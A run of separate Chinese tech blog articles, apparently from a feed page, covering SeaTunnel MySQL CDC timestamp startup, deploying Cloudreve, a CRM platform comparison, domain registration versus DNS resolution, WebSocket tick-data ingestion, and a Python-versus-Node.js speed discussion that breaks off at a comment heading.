通过引入“时间”这一更符合业务语义的维度,SeaTunnel 将 CDC 启动方式从面向底层 binlog 细节,提升为面向业务时间语义,显著降低了 CDC 任务在恢复、回溯和运维场景下的使用门槛。

配置参数

要启用按时间启动功能,需要配置以下两个关键参数:

参数名类型必填说明
startup.modeEnum设置为 "timestamp" 启用时间模式 2
startup.timestampLongUnix 时间戳(毫秒),指定启动时间点 3

配置示例

env {
  parallelism = 1
  job.mode = "STREAMING"
  checkpoint.interval = 10000
}

source {
  MySQL-CDC {
    url = "jdbc:mysql://localhost:3306/testdb"
    username = "root"
    password = "root@123"
    table-names = ["testdb.table1"]
    
    # 启用按时间启动
    startup.mode = "timestamp"
    startup.timestamp = 1672531200000  # 2023-01-01 00:00:00 UTC
  }
}

sink {
  Console {
  }
}

技术实现

启动模式枚举

MySqlSourceOptions 类中定义了所有支持的启动模式,包括新增的 TIMESTAMP 模式:

public static final SingleChoiceOption<StartupMode> STARTUP_MODE =
    (SingleChoiceOption)
        Options.key(SourceOptions.STARTUP_MODE_KEY)
            .singleChoice(
                StartupMode.class,
                Arrays.asList(
                    StartupMode.INITIAL,
                    StartupMode.EARLIEST,
                    StartupMode.LATEST,
                    StartupMode.SPECIFIC,
                    StartupMode.TIMESTAMP))

时间戳过滤实现

核心实现在 MySqlBinlogFetchTask 类中,当检测到启动模式为 TIMESTAMP 时,会使用 TimestampFilterMySqlStreamingChangeEventSource 来处理 binlog 事件:

StartupMode startupMode = startupConfig.getStartupMode();
if (startupMode.equals(StartupMode.TIMESTAMP)) {
    log.info(
        "Starting MySQL binlog reader,with timestamp filter {}",
        startupConfig.getTimestamp());

    mySqlStreamingChangeEventSource =
        new TimestampFilterMySqlStreamingChangeEventSource(
            sourceFetchContext.getDbzConnectorConfig(),
            sourceFetchContext.getConnection(),
            sourceFetchContext.getDispatcher(),
            sourceFetchContext.getErrorHandler(),
            Clock.SYSTEM,
            sourceFetchContext.getTaskContext(),
            sourceFetchContext.getStreamingChangeEventSourceMetrics(),
            startupConfig.getTimestamp());
}

偏移量计算

MySqlSourceFetchTaskContext 中实现了根据时间戳查找对应 binlog 偏移量的逻辑:

private Offset getInitOffset(SourceSplitBase mySqlSplit) {
    StartupMode startupMode = getSourceConfig().getStartupConfig().getStartupMode();
    if (startupMode.equals(StartupMode.TIMESTAMP)) {
        long timestamp = getSourceConfig().getStartupConfig().getTimestamp();
        try (JdbcConnection jdbcConnection =
                getDataSourceDialect().openJdbcConnection(getSourceConfig())) {
            return findBinlogOffsetBytimestamp(jdbcConnection, binaryLogClient, timestamp);
        } catch (Exception e) {
            throw new SeaTunnelException(e);
        }
    } else {
        return mySqlSplit.asIncrementalSplit().getStartupOffset();
    }
}

启动模式对比与适用场景

为了更好地理解按时间启动功能在整体 CDC 启动体系中的定位,下面对 MySQL CDC 当前支持的几种启动模式进行对比说明:

启动模式启动依据优点适用场景
INITIAL全量 + 当前 binlog一次性完成历史与增量同步首次接入数据源
EARLIEST最早可用 binlog不依赖具体位点binlog 保存周期较长的场景
LATEST当前最新 binlog启动快仅关注未来增量数据
SPECIFIC指定 binlog file + position精确可控已明确掌握 binlog 位点的场景
TIMESTAMP指定时间戳(毫秒)配置直观、符合业务语义任务恢复、数据回溯、按时间窗口同步

可以看到,TIMESTAMP 模式并不是替代 SPECIFIC 或 GTID 的“更底层”方案,而是为了解决“用户只知道时间、不知道 binlog”的典型问题,是一种以可用性和运维友好性为核心的补充能力

测试验证

该功能在集成测试中得到了充分验证,测试用例 MysqlCDCSpecificStartingOffsetIT 验证了按时间戳启动的正确性 7

使用注意事项

  1. 版本要求:需要 SeaTunnel 2.3.12 或更高版本
  2. 时间戳格式:必须使用 Unix 时间戳,单位为毫秒
  3. binlog 可用性:确保指定时间点对应的 binlog 文件仍然可用
  4. 时区考虑:时间戳基于 UTC 时区,需要注意时区转换

总结

SeaTunnel MySQL CDC 的按时间启动功能为数据同步提供了更精确的控制能力,特别适用于需要从特定时间点恢复数据同步的场景。该功能通过时间戳到 binlog 偏移量的转换,实现了高效的时间点定位和数据过滤。

Notes

  • 该功能在工厂类 MySqlIncrementalSourceFactory 中通过条件配置规则进行参数验证
  • 除了 MySQL CDC,其他 CDC 连接器如 SQL Server CDC 也支持类似的时间戳启动功能

前言

当主流云盘频繁亮起容量限制、限速通知,甚至出现文件被莫名屏蔽的状况时,“数据不由己”的焦虑感总会让人束手束脚。

Cloudreve 私人云盘正是终结这种被动的理想解决方案。它不仅提供拖拽上传、多格式预览、链接加密分享等全套实用功能,更核心的优势在于:您可以将其部署在您的专属服务器上,从根源上避开第三方平台的种种限制,真正实现数据自由。

借助 Docker 部署的便捷性,整个搭建过程无需复杂配置,只需短短几分钟,您就能拥有一个数据完全由自己掌控的私人云盘。从此,文件存储不必再看平台“脸色”,数据安全与使用自由,将牢牢掌握在您手中。

一:操作步骤

在部署 Cloudreve 项目之前,记得先开放5212端口,方便后续操作。

Push and Deploy

1.新建 Cloudreve 文件夹

mkdir cloudreve

2.进入 Cloudreve 文件夹

cd cloudreve

3.下载 Cloudreve 源文件包

wget https://github.com/cloudreve/Cloudreve/releases/download/3.8.3/cloudreve_3.8.3_linux_amd64.tar.gz

4.解压 Cloudreve 源文件包

tar -zxvf cloudreve_3.8.3_linux_amd64.tar.gz

5.赋予 Cloudreve 源文件包权限

`chmod +x ./cloudreve
`

6.启动 Cloudreve 项目

./cloudreve

Admin user name: 初始用户名
Admin password: 初始密码

运行成功后,不要关闭该命令行窗口,在新的浏览器页面地址输入:http://<服务器IP地址>:5212,即可访问 Cloudreve 服务。

初始密码忘记怎么办?在 Cloudreve 目录下执行以下命令,即可重置初始密码

./cloudreve --database-script ResetAdminPassword

二:持久化运行

运行成功后,不能关闭该命令行窗口,如果一不小心关掉了, Cloudreve 项目也就报错了,怎么办?在 Cloudreve 目录下执行以下操作,即可解决该问题:

1.先安装 screen(若未安装):

sudo apt update && sudo apt install screen -y

2.创建并进入一个新的 screen 会话:

`screen -S cloudreve
`

3.在新会话中重新启动 Cloudreve:

./cloudreve

按下 Ctrl + A 再按 D(或直接关闭该命令行窗口),即可脱离会话并关闭命令行窗口,程序仍在后台运行。

单容器部署

如果你觉得以上步骤过于繁琐,觉得麻烦,你也可以使用最简单的方法来部署 Cloudreve ,在自定义路径的 Cloudreve 根目录下,打开命令行终端复制以下命令,直接运行即可:

1.部署与上述操作版本保持一致(3.8.3版本):

docker run -d \
  --name cloudreve \
  -p 5212:5212 \
  -v ./data:/cloudreve/data \
  cloudreve/cloudreve:3.8.3

2.部署 Cloudreve 最新版本:

docker run -d \
  --name cloudreve \
  -p 5212:5212 \
  -v ./data:/cloudreve/data \
  cloudreve/cloudreve:latest

运行成功后,在浏览器地址输入:http://<服务器IP地址>:5212,即可访问 Cloudreve 服务。首次登录,先注册一个登录账号即可(即管理员账号)

端口占用

1.查询端口异常占用情况

netstat -tuln | grep :5212

netstat -tuln | grep :这里是要查询是否被占用的端口号 ,如果命令行有输出,则代表该端口已被占用;若命令行没有输出,直接返回 root@:/ cloudreve#,则没有没占用。

2.查询占用该端口的进程:

`lsof -i :5212
`

lsof -i :[查看占用5212端口的进程] ,如果命令行有输出,则显示占用该端口的进程PID;反之。

3.释放占用端口的进程

找到进程PID后,使用以下命令强制终止该进程,释放该端口:

kill -9 [进程ID]

总结

这就是博主今天分享的全部内容了,这只是博主在日常使用中总结的,如有不足之处欢迎大家了指点一二。
本文原发于我的博客:landonVPS

一、行业背景:为什么企业需要“全流程一体化”?

在数字化转型中,企业面临的核心痛点是业务流程割裂:营销获客的数据无法同步到销售,销售订单无法联动采购生产,售后运维与前端客户信息脱节……这些“信息孤岛”导致效率低下、客户体验差、决策缺乏依据。

全流程一体化数字平台的核心价值,是通过数据打通、流程协同、智能赋能,实现“获客→销售→订单→生产→运维→复购”的闭环,让企业从“部门级效率”升级为“企业级效率”。

本文选取超兔一体云、Dolibarr、Agile CRM 、神州云动CloudCC、浪潮CRM、Apptivo六大主流平台,从全业务流程覆盖度、一体化支撑能力、行业适配性三个维度展开深度对比,为企业选型提供参考。

二、全业务流程横向对比:从获客到复购的能力拆解

按照“获客→销售跟单→订单执行→配货采购/装配生产→上门安装运维→复购转介绍”的全生命周期,逐一分析各平台的核心能力与差异。

(一)获客阶段:全渠道集客与线索转化的“精准度”

获客是企业增长的起点,核心在于“多渠道覆盖→线索精准筛选→效果可归因”的闭环。各平台的差异体现在渠道本土化适配、AI赋能深度与ROI分析能力。

能力维度超兔一体云DolibarrAgile CRM神州云动CloudCC浪潮CRMApptivo
渠道覆盖百度/巨量引擎+微信/小程序+地推+工商搜客(微信私域强基础CRM+微信同步(渠道较窄)海外社交(Twitter/Facebook)+邮件(跨境获客强市场云(线下活动+落地页)+营销自动化快消/医药终端(促销活动)+经销商自助基础线索跟踪+付费商机预测
线索处理一键转客户/订单+手机号/IP抓取+自动提醒自定义字段+手动跟进AI线索评分(行为轨迹)+高意向优先精细化线索管理+360°客户洞察终端数据联动+促销线索跟踪销售漏斗+移动提醒
效果归因市场活动成本分摊到线索/签约转化率简单线索来源记录营销活动ROI分析全渠道ROI精准计算促销费用全流程量化无深度归因

总结

  • 本土企业优先选超兔(微信私域+ROI分析);
  • 跨境企业选Agile CRM(海外社交+AI线索评分);
  • 快消/医药选浪潮(终端数据+经销商获客)。

(二)销售跟单阶段:从“跟进”到“转化”的“效率差”

销售跟单的核心是“流程标准化+信息透明化+团队协作”,各平台的差异体现在跟单模型丰富度、客户洞察深度与自动化能力。

1. 核心能力对比

  • 超兔一体云: 独创“三一客”小单模型(三定+关键节点)、商机阶段模型(中长单)、多方项目模型(复杂业务);提供独有的“跟单时间线” ,清晰展示客户互动历史(如“3月1日发送报价→3月5日客户反馈价格高→3月8日调整方案”),销售可快速回顾进展;自动生成日报,管理者实时掌握团队动态。
  • 神州云动CloudCC: 聚焦项目型企业,支持项目 全生命周期管理(从商机到项目启动→执行→收尾),集成成本、工时管理,适合工程建设、IT服务等行业。
  • Agile CRM: 可视化销售管道(Pipeline) ,实时追踪“潜在客户→报价→成交”进度,支持跨部门协作(销售→客服→技术),快速响应客户问题。
  • 浪潮 CRM: 针对渠道密集型企业,提供经销商自助平台(线上下单、库存查询、对账),将经销商纳入销售流程,提升渠道效率。

2. 关键差异总结

维度超兔一体云神州云动CloudCCAgile CRM浪潮CRM
跟单模型丰富度小单+中长单+项目(全)项目型(强)标准销售管道(中)经销商流程(强)
客户洞察深度360°视图+跟单时间线(独)项目360°+成本工时客户行为分析+跨部门共享经销商库存+对账信息
自动化能力自动日报+待办提醒项目阶段提醒销售预测+任务分配经销商订单自动同步

(三)订单执行阶段:从“签约”到“交付”的“协同力”

订单执行的核心是“订单类型适配+业财联动+风险管控”,各平台的差异体现在订单场景覆盖与财务闭环能力。

能力维度超兔一体云DolibarrAgile CRM神州云动CloudCC浪潮CRM
订单类型服务型(合同)+实物型(标准/批发/非标)+特殊型(维修/外勤工单)基础订单+库存关联营销订单+客服联动项目订单+业财融合经销商订单+ERP联动
业财管控签约/开票/发货自动触发应收+账期/信用控制基础订单+库存扣减营销订单+客服账单项目成本+财务对账经销商对账+财务同步
风险控制应收/开票/回款三角联动+信用度控制无强风险管控需集成ERP项目预算+成本控制渠道库存预警+费用合规

总结

  • 需覆盖多订单类型(如维修、外勤)选超兔
  • 项目型企业选神州云动(项目成本+财务融合);
  • 快消/医药选浪潮(经销商订单+ERP闭环)。

(四)配货采购/装配生产阶段:从“需求”到“交付”的“供应链能力”

生产采购是制造型企业的核心环节,各平台的差异体现在供应链协同 深度生产集成能力

1. 核心能力对比

  • 超兔一体云: 支持智能采购(自动计算采购量+匹配历史供应商+询价比价)、MES 生产计划(排程→派工→领料→报工→质检→入库),覆盖“采购→生产”全流程;适合中小制造企业。
  • 神州云动CloudCC: 集成采购管理(需求触发→供应商协同)、库存管理(动态更新),但生产需对接第三方MES。
  • 浪潮 CRM: 提供电子采购(需求自动触发)、数字供应链(供应商订单/发货/结算协同),聚焦快消/医药的“经销商→供应商”闭环。
  • Agile CRM: 本身无生产采购模块,需集成ERP(如Oracle/SAP)实现订单→生产的联动。

2. 供应链能力矩阵

平台采购管理生产集成供应链协同适用场景
超兔一体云智能采购MES生产全流程协同中小制造企业
神州云动CloudCC基础采购需集成供应商协同项目型企业(如IT服务)
浪潮CRM电子采购需集成渠道供应链快消/医药
Agile CRM需集成营销型企业

(五)上门安装运维阶段:从“服务”到“口碑”的“体验感”

售后运维的核心是“快速响应+资源调度+服务质量监控”,各平台的差异体现在工单管理深度与客户信息联动。

能力维度超兔一体云DolibarrAgile CRM神州云动CloudCC浪潮CRMApptivo
工单管理维修/外勤工单+智能调度+服务质量监控售后工单+SLA管理客服工单+客户360°视图现场服务云+资源优化调度售后跟踪+备品库存联动Work Orders+移动签到
客户联动工单关联客户历史(如“设备型号→维修记录”)基础客户信息客服→销售→技术跨部门共享项目备品+客户需求联动终端客户→经销商→售后联动基础客户+工单记录
服务监控服务时间+客户反馈+绩效分析无深度监控工单进度跟踪服务成本+响应时间监控售后满意度+问题闭环无深度监控

总结

  • 需高服务质量的企业(如设备制造)选超兔(工单+客户历史联动);
  • 项目型企业选神州云动(现场服务云+资源调度);
  • 快消/医药选浪潮(终端售后+备品联动)。

(六)复购与转介绍阶段:从“留存”到“裂变”的“增长力”

复购转介绍是企业的“利润引擎”,核心在于“潜在需求挖掘+精准触达+激励机制”。

1. 核心能力对比

  • 超兔一体云: 通过RFM 分析(最近购买时间、频率、金额)识别高复购客户;设置复购流失预警(如“客户超过6个月未购买→自动提醒销售跟进”);提供转介绍激励工具(如“推荐好友得折扣”),实现客户裂变。
  • Agile CRM: 基于客户行为分析(如“浏览过升级套餐”)自动触发复购提醒(邮件/短信);支持社交分享(推荐好友得优惠),适合线上营销型企业。
  • 神州云动CloudCC: 通过服务云(售后满意度管理)提升客户粘性;伙伴云(合作伙伴协作)挖掘转介绍机会,适合项目型企业。
  • Dolibarr: 需手动设置“下次购买时间”提醒,潜在需求(如设备升级)依赖人工挖掘,复购效率低。

2. 复购能力评分(1-5分)

平台超兔Agile神州云动浪潮ApptivoDolibarr
潜在需求挖掘544321
精准触达能力544321
转介绍激励机制543321

三、一体化支撑能力:从“能用”到“好用”的“底层逻辑”

全流程一体化的核心支撑是数据连通、 客制化 、AI、集成能力,决定了平台的“灵活性”与“扩展性”。

(一)一体化支撑能力对比表

维度超兔一体云DolibarrAgile CRM神州云动CloudCC浪潮CRMApptivo
数据连通全模块底层打通(CRM+进销存+生产+财务)统一数据库(客户+销售+库存)营销+销售+客服连通全模块连通(项目+销售+财务)渠道+供应链+财务连通基础模块连通(销售+库存)
客制化 能力零编码引擎(自定义菜单+表单+工作流)本地部署+自定义字段云配置+API定制零编码定制+行业模板低代码inBuilder+行业模板标准化模块+付费扩展
AI应用自定义AI智能体(嵌入客户/行动视图)+Coze工作流无AIAI线索评分+行为分析营销自动化+项目预测终端数据洞察+费用预测商机预测(付费)
集成能力多端(Web/App/小程序)+RPA+ERP对接本地/私有云+基础集成云多端+ERP/SAP集成多端+OA/ERP整合多端+PaaS+行业系统移动+基础API

(二)雷达图:各平台综合能力评分(1-10分)

指标超兔Agile神州云动浪潮ApptivoDolibarr
全流程覆盖度1079867
行业适配性8791067
客制化能力1079857
AI应用深度1088765
集成扩展性1099867

四、行业适配与选型建议

根据企业规模、行业、核心需求,给出针对性选型建议:

企业类型核心需求推荐平台理由
中小制造企业全流程覆盖(采购+生产+运维)超兔一体云智能采购+MES生产+工单管理,性价比高
跨境营销型企业海外获客+销售转化Agile CRM海外社交+AI线索评分+销售管道
项目型企业(IT/工程)项目全生命周期+成本控制神州云动CloudCC项目管理+采购协同+业财融合
快消/医药企业渠道获客+供应链协同浪潮CRM终端数据+经销商自助+电子采购
中小微轻量需求基础流程+移动管理Apptivo免费版支持基础功能,付费扩展商机预测
需本地部署企业数据主权+基础一体化Dolibarr本地/私有云部署+统一数据库

五、结论:全流程一体化的“本质”是什么?

全流程一体化的核心不是“功能堆砌”,而是“以客户为中心”的流程协同——让营销知道“客户从哪来”,销售知道“客户需要什么”,生产知道“客户何时要”,售后知道“客户之前的问题”。

从对比来看:

  • 超兔一体云是“全流程覆盖 + 高性价比”的首选,适合中小制造/服务企业;
  • 神州云动CloudCC是“项目型企业”的最佳选择;
  • 浪潮 CRM是“快消/医药渠道密集型企业”的定制化方案;
  • Agile CRM是“跨境营销型企业”的海外获客利器。

企业选型时,需优先明确核心业务场景(如生产、渠道、项目),再匹配平台的差异化能力,避免“为了一体化而一体化”。

附录:全业务流程时序图

sequenceDiagram
    participant 企业 as 企业
    participant 超兔 as 超兔一体云
    participant Agile as Agile CRM
    participant 神州云动 as 神州云动CloudCC
    participant 浪潮 as 浪潮CRM
    participant Apptivo as Apptivo
    participant Dolibarr as Dolibarr

    企业->>超兔: 百度/微信获客→线索转订单→智能采购→MES生产→工单运维→复购预警
    超兔->>企业: 全流程数据同步+转介绍激励

    企业->>Agile: 海外社交获客→AI线索筛选→销售跟单→集成ERP生产→客服工单运维→复购提醒+社交分享
    Agile->>企业: 营销+销售+客服数据连通

    企业->>神州云动: 市场云获客→销售流程自动化→商机转订单→采购库存管理→现场服务运维→服务云提升满意度+伙伴云转介绍
    神州云动->>企业: 全模块连通+项目全生命周期管理

    企业->>浪潮: 快消/医药终端获客→经销商自助下单→订单执行→电子采购→售后跟踪→终端售后满意度提升
    浪潮->>企业: 渠道+供应链+财务连通

    企业->>Apptivo: 基础线索跟踪获客→销售漏斗跟单→订单执行→移动工单运维→客户管理促复购
    Apptivo->>企业: 基础模块连通

    企业->>Dolibarr: 基础CRM获客→销售跟单→订单执行→库存采购管理→售后工单运维→手动复购提醒
    Dolibarr->>企业: 统一数据库数据同步

综上所述,各全业务流程一体化数字平台都有其独特的优势和适用场景。企业在进行平台选型时,应充分结合自身实际情况,依据核心业务场景和需求,审慎选择最契合的平台,以实现企业业务流程的高效整合和持续发展。

(注:文中功能相关描述均基于公开披露信息,具体功能服务与价格以厂商实际落地版本为准。)

在互联网世界中,域名是网站的“门牌号”,而域名注册与域名解析则是让这个“门牌号”生效的两大核心步骤。很多建站新手会将二者混淆,甚至误以为是同一回事,导致操作中出现域名注册成功却无法访问的问题。本文,资深域名服务商国科云将从概念、区别、流程、关联及避坑要点等方面进行全面解析,帮你彻底理清二者的逻辑,轻松搞定域名相关操作。

一、核心概念:域名注册与解析到底是什么?

1.域名注册:获取“门牌号”的合法使用权

域名注册是指用户通过正规域名注册商,向全球统一的域名管理机构(如ICANN,互联网名称与数字地址分配机构)申请,获得特定域名在一定期限内的合法使用权的过程。

域名注册具有唯一性和时效性两大核心特征。唯一性意味着同一域名在全球范围内只能被一个主体注册,比如“baidu.com”被百度注册后,其他主体无法再注册相同域名;时效性则指注册后的域名有使用期限(通常1-10年),需按时续费才能维持使用权,逾期未续费会被暂停解析甚至回收再售卖。

注册过程中,用户需提交真实信息完成实名认证(国内域名强制要求),包括个人身份证或企业营业执照等材料,虚假信息可能导致域名被冻结。注册成功后,注册商将提供域名管理服务,包括续费、信息修改、转移等功能。

2.域名解析:给“门牌号”绑定具体地址

域名解析是通过DNS(域名系统)服务器,将易记忆的域名转换为服务器能识别的IP地址(如IPv4的“95.127.211.85”、IPv6的“
2001:0db8:85a3:0000:0000:8a2e:0370:7334”),让用户输入域名就能访问对应服务器的过程。形象地说,这相当于给已有的门牌号,绑定到具体的房屋地址,让访客能通过门牌号找到对应的房子。

互联网中的计算机本质上通过IP地址相互通信,但IP地址是一串复杂数字,难以记忆。域名解析的核心价值的就是建立“域名-IP”的映射关系,既保留了用户记忆的便捷性,又能让网络设备准确定位服务器。整个解析过程由DNS服务器集群协同完成,通常耗时几十毫秒,用户几乎无感知。

解析的核心是配置DNS记录,常见类型包括A记录(绑定IPv4地址)、AAAA记录(绑定IPv6地址)、CNAME记录(绑定其他域名别名)、MX记录(配置邮件服务器)等,不同记录对应不同的服务需求。

二、关键区别:注册与解析可不是一回事

域名注册和域名解析是两个独立但关联的环节,核心区别体现在目的、性质、操作对象三个维度,具体如下:

1.核心目的不同

域名注册的目的是获得域名的合法使用权,解决“归属权”问题,确保你拥有这个专属“门牌号”;而域名解析的目的是建立域名与IP的映射关系,解决“访问路径”问题,让用户能通过域名找到对应的服务器。没有注册的域名无法解析,注册后不解析的域名也无法被正常访问。

2.操作性质不同

域名注册是一次性申请+定期续费的流程,属于“权利获取”类操作,一旦完成注册,在有效期内无需重复操作,仅需关注续费即可;域名解析是技术性配置操作,属于“功能激活”类操作,可根据服务器变更、服务调整等需求反复修改解析记录,比如更换服务器后,需重新配置解析指向新IP。

3.操作对象不同

域名注册的操作对象是域名注册商和全球域名管理机构,用户需在注册商平台完成申请、支付、实名认证等操作,由注册商向管理机构提交注册请求;域名解析的操作对象是DNS服务器,用户可在注册商提供的解析平台,或第三方专业解析平台(如国科云解析、DNSPod)配置解析记录,本质是修改DNS服务器中的映射数据。

三、实操流程:从注册到解析的完整步骤

1.域名注册全流程(以国内平台为例)

第一步,需求规划与可用性查询。

明确域名用途(企业官网、个人博客等),选择合适后缀(.com、.cn最常用,.net、.org为补充),通过注册商的查询工具或WHOIS平台,确认目标域名是否已被注册。若心仪域名被抢注,可调整名称或选择替代后缀,同时规避商标冲突,避免注册后被仲裁收回。

第二步,选择正规注册商。

优先选择国科云、阿里云、腾讯云等有工信部资质的平台,避免非正规平台的续费暴涨、域名锁死等问题。

第三步,填写信息与支付。

提交注册人真实信息,个人提供身份证,企业提供营业执照,开启域名隐私保护服务隐藏个人信息;选择注册年限并支付费用,通常几分钟内即可完成注册。

第四步,完成实名认证。

国内域名注册后需在规定时间内实名认证,材料审核通过后(通常1-3个工作日),域名才能正常使用,否则会被暂停解析。

2.域名解析全流程

第一步,准备基础信息。

获取服务器公网IP(云服务器在控制台查询),若使用CDN服务则获取CNAME地址;确认域名的DNS服务器,默认使用注册商DNS,也可更换为专业解析平台的DNS。

第二步,进入解析管理页面。

登录注册商或解析平台后台,找到“DNS解析”入口,进入解析记录配置界面。

第三步,添加解析记录。

根据需求选择记录类型:搭建网站优先配置A记录(IPv4)或AAAA记录(IPv6),填写服务器IP;使用CDN则配置CNAME记录指向CDN地址;搭建企业邮箱需配置MX记录,设置邮件服务器地址及优先级。

第四步,等待解析生效。

添加完成后,DNS缓存需10分钟至24小时全网刷新,国内地区通常20分钟内可生效。可通过“nslookup”命令(WindowsCMD或Mac终端)验证,若显示对应IP则解析成功。

四、域名注册和域名解析是否要同一服务商?

域名注册与解析的核心关联的是“先后顺序”:必须先注册域名,再进行解析,二者共同构成网站访问的基础。但二者并非绑定在同一服务商,用户可根据需求选择“统一平台”或“分拆平台”管理。

1.统一服务商:适合新手与高效管理

将注册与解析放在同一平台(如国科云注册+国科云解析),优势在于便捷性。注册商通常为自有域名提供自动解析适配,减少手动配置成本,且域名续费、解析修改、SSL证书绑定等操作可在同一控制台完成,故障排查更高效,无需跨平台沟通。这种方式适合新手、个人站长及追求管理效率的企业。

2.分拆服务商:适合高需求场景

若对解析性能、安全性有特殊需求,可将解析权限转移至第三方专业平台。专业解析服务商通常拥有全球分布式解析节点、DDoS防护等功能,能提升网站访问速度和抗攻击能力。操作时需在注册商后台修改DNS服务器地址,备份原有解析记录,再在新平台重新配置,全程需注意TTL值(缓存生存时间)设置,建议临时改小至300秒加快生效。

五、注册与解析的常见问题

1.注册环节避坑

(1)避免盲目选择冷门后缀,.xyz、.top等小众后缀虽价格低,但用户认可度和搜索引擎信任度不足,不利于品牌推广;

(2)设置自动续费和到期提醒,重要域名可一次性注册多年,防止忘记续费导致域名丢失;

(3)不注册包含知名品牌词汇的域名,避免触发商标仲裁被收回。

2.解析环节避坑

(1)解析前核对服务器IP准确性,IP错误会导致网站无法访问;

(2)国内域名需完成备案后再解析到大陆服务器,未备案域名会被拦截;

(3)修改解析时选择网站访问低谷时段(如凌晨),减少解析中断对用户的影响;

(4)若解析生效慢,可清除本地DNS缓存(Windows执行“ipconfig/flushdns”命令)。

做金融数据开发的同学大概率都有过这样的体验:刚开始接触 tick 数据,只知道它是 “市场最小粒度的行情数据”,但真正把 WebSocket 连通、跑起数据接收程序后,最先感受到的根本不是字段含义,而是数据流动的 “节奏”—— 时间戳高频跳动、价格瞬时波动、成交量断续刷新,这让 tick 数据和 K 线完全不同:它不是静态的行情结果,而是持续输入的动态信号流。

本文不聊基础概念,也不做接口入门教程,只从实操角度分享:把 tick 数据接入业务系统时,真正该关注的核心问题,以及如何适配它的特性做架构设计。

一、从展示到业务核心:tick 数据的复杂度才真正显现
如果只是把 tick 数据用来做前端行情展示,它的底层复杂性基本会被界面掩盖;但一旦进入核心业务链路(比如实时风控监控、行情聚合、交易信号触发、历史数据回放),其 “持续推送” 的本质就会被彻底放大。

和传统 “一次请求一次返回” 的接口模式不同,tick 数据工程化接入的核心,从来都不是某一个字段怎么解释,而是:

  • 推送链路是否稳定
  • 数据传输是否连续
  • 是否需要搭建缓冲机制
  • 下游模块如何高效消费
  • 分享一段贴近生产环境的 WebSocket 接入代码(这是行业内常用的工程化写法,而非简单示例):
import websocket
import json

def handle_market_data(ws, message):
    # 解析实时推送的tick数据
    tick_info = json.loads(message)
    time_stamp = tick_info.get("timestamp")
    latest_price = tick_info.get("price")
    trade_volume = tick_info.get("volume")

    # 生产环境中,数据通常先进入消息队列或本地缓存做缓冲
    print(f"{time_stamp} | 最新价={latest_price} | 成交量={trade_volume}")

def init_connection(ws):
    # 订阅指定标的的tick数据
    subscribe_params = json.dumps({
        "action": "subscribe",
        "symbols": ["US.AAPL"],
        "type": "tick"
    })
    ws.send(subscribe_params)

# 初始化WebSocket连接
market_ws = websocket.WebSocketApp(
    "wss://stream.alltick.co/v1/market",
    on_open=init_connection,
    on_message=handle_market_data
)

market_ws.run_forever()

运行这段代码后,控制台会持续刷新 —— 没有图表,但能直观看到时间序列数据的流动。也是在这个阶段,大家会达成一个共识:tick 数据不适合逐条解析,必须批量、整体化处理。

二、成熟系统的 tick 数据流转:分层解耦是关键

  • 在落地过的成熟业务系统中,tick 数据绝不会直接对接核心业务逻辑,而是按 “分层流转” 设计:
  • 接入层:核心是保连接稳定,处理断线重连、异常重连;
  • 缓冲层:用队列做 “削峰填谷”,解耦数据推送和业务消费的节奏;
  • 消费层:完成数据聚合、实时计算、业务状态更新。

这也能解释一个常见问题:很多系统初期接 tick 数据跑着没问题,长期运行却出各种 bug—— 不是业务逻辑复杂,而是 tick 数据的实时推送特性,本就不适合 “同步直连” 的处理方式。

三、多市场场景:tick 数据标准化能省大量成本
如果系统只接单一市场的 tick 数据,数据结构的小差异还能靠定制化兼容;但一旦拓展到多市场,数据结构是否统一,直接决定接入层的开发和维护成本。

在实际项目中,我们常会选 AllTick API 这类已经做好多市场 tick 数据结构标准化的数据源 —— 它的核心价值是给系统提供 “稳定的数据入口”,而非需要频繁改的业务模块。这样一来,接入层、日志层、数据回放层的处理逻辑会简洁很多,也更贴合 tick 数据在系统中的实际定位。

四、用 “系统心跳” 理解 tick 数据的适配逻辑
用更形象的说法,tick 数据就像系统的 “心跳”:

  • 心跳稳定,上层业务逻辑就能从容处理;
  • 心跳紊乱(比如数据推送中断、频率突变、结构异常),再完善的业务逻辑也会被拖垮。

从这个角度看,tick 数据的适配思路就很清晰了:该异步的异步、该缓冲的缓冲、该解耦的解耦。其实 tick 数据本身的字段和逻辑并不复杂,但它对系统设计的 “检验性” 极强 —— 任何架构短板,都会在 tick 数据的持续流转中暴露出来。

对开发者来说,真正理解 tick 数据,从来都不是从技术文档开始,而是从第一次盯着控制台的实时数据滚动、真切感知到数据 “节奏” 的那一刻开始。

总结

  • tick 数据的核心是 “持续推送的动态流”,适配重点不在字段解读,而在流转节奏和分层处理;
  • 成熟系统需靠 “接入层 + 缓冲层 + 消费层” 的分层设计,适配 tick 数据的实时性和不稳定性;
  • 多市场场景下,标准化的 tick 数据源能显著降低接入层复杂度,更贴合业务实际需求。

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。

前言

又刷到了Python 与 Nodejs 哪个更快的这类话题。巧的是在GitHub还开源了类似的计算机语言性能比较的开源库——speed-comparison。

单纯从性能上比较,speed-comparison已经给出了结论:Python(PyPy)>Javascript(nodejs)>Python(CPython)

PyPy3和 Python3(CPython)的差异在于解释器实现方式。Python3 是官方默认的 C 语言实现,而 PyPy3 是用 RPython 编写的替代实现,并引入了 JIT(即时编译) 技术。

speed-comparison测评数据属于较客观的,speed-comparison测评数据是进行莱布尼茨公式实现π的计算快慢。

另外考虑公平性,做了以下处理:

  1. 实现必须是单线程的。无多线程、异步或并行处理
  2. 允许使用更宽寄存器的SIMD优化,但必须独立,而非取代标准实现。swift-simdcpp-avx2
  3. 使用语言的惯用代码。编译器优化标志没问题
  4. 所有实现必须使用现有实现中所示的莱布尼茨公式

speed-comparison给出测评的语言不只有Python、Nodejs,常用语言也包括了,如:Java、C、C++等。

好奇的读者,可以浏览这个网页:https://niklas-heer.github.io/speed-comparison/

再来一起看看网友们高赞评论。

高赞评论

【网友1】

如果不是谷歌那个大聪明通过 v8 让人们意识到「原来 js 能跑这么快」,压根就不会有现在 JavaScript 的生态。

【网友2】

Python 其实是斩杀线,比Python还慢的就直接斩杀了。

Node.js 的 V8 JavaScript/WASM 引擎是 JIT 的,它的 非常精妙,连 JVM 和 CLR 这两个老牌的都是要服气的。

【网友3】

nodejs目前的解释器使用是v8 engine,它是一个 JIT。所以可以大幅增加运行时的性能。

python目前的主流解释器是 CPython,它还是一个常规的解释器也就是只能一行行解释,不能在运行时优化部分代码为机器码。

所以目前的情况是 nodejs 大幅快于 python

【网友4】

